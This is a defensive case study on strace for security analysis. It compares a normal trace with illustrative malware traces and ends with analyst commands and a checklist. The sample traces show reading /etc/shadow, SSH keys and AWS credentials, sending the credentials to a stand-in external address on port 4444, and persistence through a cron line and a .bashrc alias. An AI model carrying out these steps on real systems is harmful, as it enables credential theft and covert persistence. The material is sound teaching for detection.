Case Study 25-2: strace as a Security Tool

Detecting Suspicious System Calls

A program's source code describes its intentions. Its system call trace describes its behavior. When these differ, something interesting is happening — and strace is how you find out what.

This case study examines how strace is used in security analysis, with concrete examples of what normal programs look like versus what malware behavior patterns look like in a syscall trace.

The Foundation: What Every Program Does

Even a trivial "hello world" compiled with glibc makes dozens of system calls before your code runs. Understanding the baseline makes anomalies visible.

execve("./hello", ["./hello"], 0x7fff... /* 23 vars */) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7fff...) = -1 EINVAL
brk(NULL)                               = 0x5584a0001000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f...
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
mmap(NULL, 192512, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f...
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
... (many mmap/mprotect calls loading libc)
write(1, "Hello, World!\n", 14)         = 14
exit_group(0)                           = ?

This is the normal fingerprint of a dynamically-linked C program. The pattern is predictable: execve → dynamic linker setup → library loading → actual program logic → exit.

Pattern 1: Credential Harvesting

A program that claims to be a PDF viewer should not be reading /etc/shadow or SSH private keys.

# Suspicious pattern: reading authentication files
openat(AT_FDCWD, "/etc/passwd", O_RDONLY) = 4
read(4, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1756
close(4)                                = 0
openat(AT_FDCWD, "/etc/shadow", O_RDONLY) = -1 EACCES (Permission denied)
openat(AT_FDCWD, "/root/.ssh/id_rsa", O_RDONLY) = -1 ENOENT
openat(AT_FDCWD, "/home/alice/.ssh/id_rsa", O_RDONLY) = 4
read(4, "-----BEGIN OPENSSH PRIVATE KEY--"..., 4096) = 2876
close(4)                                = 0

The EACCES on /etc/shadow and ENOENT on /root/.ssh/id_rsa show the malware trying — and failing — before finding an actual private key. Even failed attempts are visible.

Pattern 2: Network Exfiltration

Data collection without transmission is unusual; collection plus transmission to an unexpected address is a red flag.

# Read local credentials...
openat(AT_FDCWD, "/home/alice/.aws/credentials", O_RDONLY) = 4
read(4, "[default]\naws_access_key_id=AKIA"..., 4096) = 218
close(4)                                = 0

# Connect to external server
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("198.51.100.42")}, 16) = 0

# Send the data
write(5, "[default]\naws_access_key_id=AKIA"..., 218) = 218
close(5)                                = 0

AWS credentials read from disk, immediately sent to port 4444 on an external IP. The entire theft takes four system calls. strace -e trace=file,network would catch exactly this.

Pattern 3: Process Injection and Privilege Escalation

# Anti-debugging check: does a debugger own us?
ptrace(PTRACE_TRACEME, 0, NULL, NULL)   = -1 EPERM (not permitted)

# Attempt setuid
setuid(0)                               = -1 EPERM (Operation not permitted)

# Look for SUID binaries to exploit
openat(AT_FDCWD, "/tmp", O_RDONLY|O_DIRECTORY) = 3
getdents64(3, /* entries */, 32768)     = 248

# Write a shared library to be preloaded
openat(AT_FDCWD, "/etc/ld.so.preload", O_WRONLY|O_CREAT|O_TRUNC) = -1 EACCES

# Try /tmp instead
openat(AT_FDCWD, "/tmp/.libfoo.so", O_WRONLY|O_CREAT|O_TRUNC, 0755) = 4
write(4, "\x7fELF\x02\x01\x01..."..., 8192) = 8192
close(4)                                = 0

The ptrace(PTRACE_TRACEME, ...) call is a classic anti-debugging technique: if strace is already attached, this call fails. But since strace intercepts it, you can still see it happen.

Pattern 4: Persistence Mechanisms

# Install a cron job
openat(AT_FDCWD, "/var/spool/cron/crontabs/alice", O_WRONLY|O_CREAT|O_APPEND) = -1 EACCES

# Try user crontab directory
openat(AT_FDCWD, "/tmp/.cron", O_WRONLY|O_CREAT|O_TRUNC, 0644) = 4
write(4, "*/5 * * * * /tmp/.x\n", 20)  = 20
close(4)                                = 0

# Modify shell rc file
openat(AT_FDCWD, "/home/alice/.bashrc", O_WRONLY|O_APPEND) = 5
write(5, "\nalias ls='ls; /tmp/.x &'\n", 26) = 26
close(5)                                = 0

Even if the malware fails to write to system cron, modifying .bashrc is clearly visible. The specific string written — an alias that executes a hidden program — is in the strace output.

Using strace Effectively for Security Analysis

# Capture complete trace to file for analysis
strace -o trace.log -f -tt ./suspicious_binary

# -f: follow child processes (fork/exec)
# -tt: microsecond timestamps
# -o: save to file (important — strace output can be huge)

# Filter for file and network operations only
strace -e trace=file,network,process ./suspicious_binary

# Capture the full data written to files
strace -e trace=write -e write=all ./suspicious_binary 2>&1 | grep "write("

# Show only failed syscalls (permission denied, file not found)
strace ./suspicious_binary 2>&1 | grep "= -1"

# Trace a running process (requires ptrace capability or root)
strace -p $(pgrep suspicious_process)

Limitations: What strace Cannot See

strace has important blind spots:

  1. Encrypted operations: if the malware reads a key from disk and decrypts credentials in memory, you see the encrypted blob but not the plaintext
  2. Memory-only operations: operations that stay entirely in user space (like XOR-encrypting a buffer) are invisible
  3. Hardware access via VDSO: clock reads through the vDSO appear as function calls, not syscalls
  4. ptrace-aware malware: sophisticated malware detects strace via /proc/self/status (TracerPid field) and changes behavior
# Malware checking if it's being traced (you can see this in strace):
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
read(3, "Name:\tmalware\nUmask:\t...\nTracerPid:\t12345\n"..., 4096) = 1234

If TracerPid is non-zero, a debugger or strace is attached. Real malware checks this.

A Security Analysis Template

When analyzing an unknown binary with strace, work through this checklist:

  1. File access: what files does it read? Any credential files, SSH keys, config files outside its expected directory?
  2. Network: does it connect anywhere? To what IP:port? What data does it send?
  3. Process creation: does it fork/exec any other programs? What programs?
  4. Persistence: does it write to .bashrc, crontab directories, /etc/ld.so.preload, systemd service directories?
  5. Anti-analysis: does it call ptrace(PTRACE_TRACEME), read /proc/self/status, or exit immediately when traced?
  6. Privilege escalation: does it call setuid, setgid, or attempt to write SUID binaries?

The assembly perspective matters here: system calls are the only interface between user code and the rest of the system. No matter how obfuscated the binary, no matter what tricks it uses in user space, it must eventually make system calls to have any effect on the world. And every system call is visible in strace.

🔐 Security Note: strace uses ptrace internally, which is why it requires appropriate permissions. In container environments, ptrace may be restricted by seccomp. The strace tool is also commonly blocked in production security policies precisely because it makes program behavior so transparent.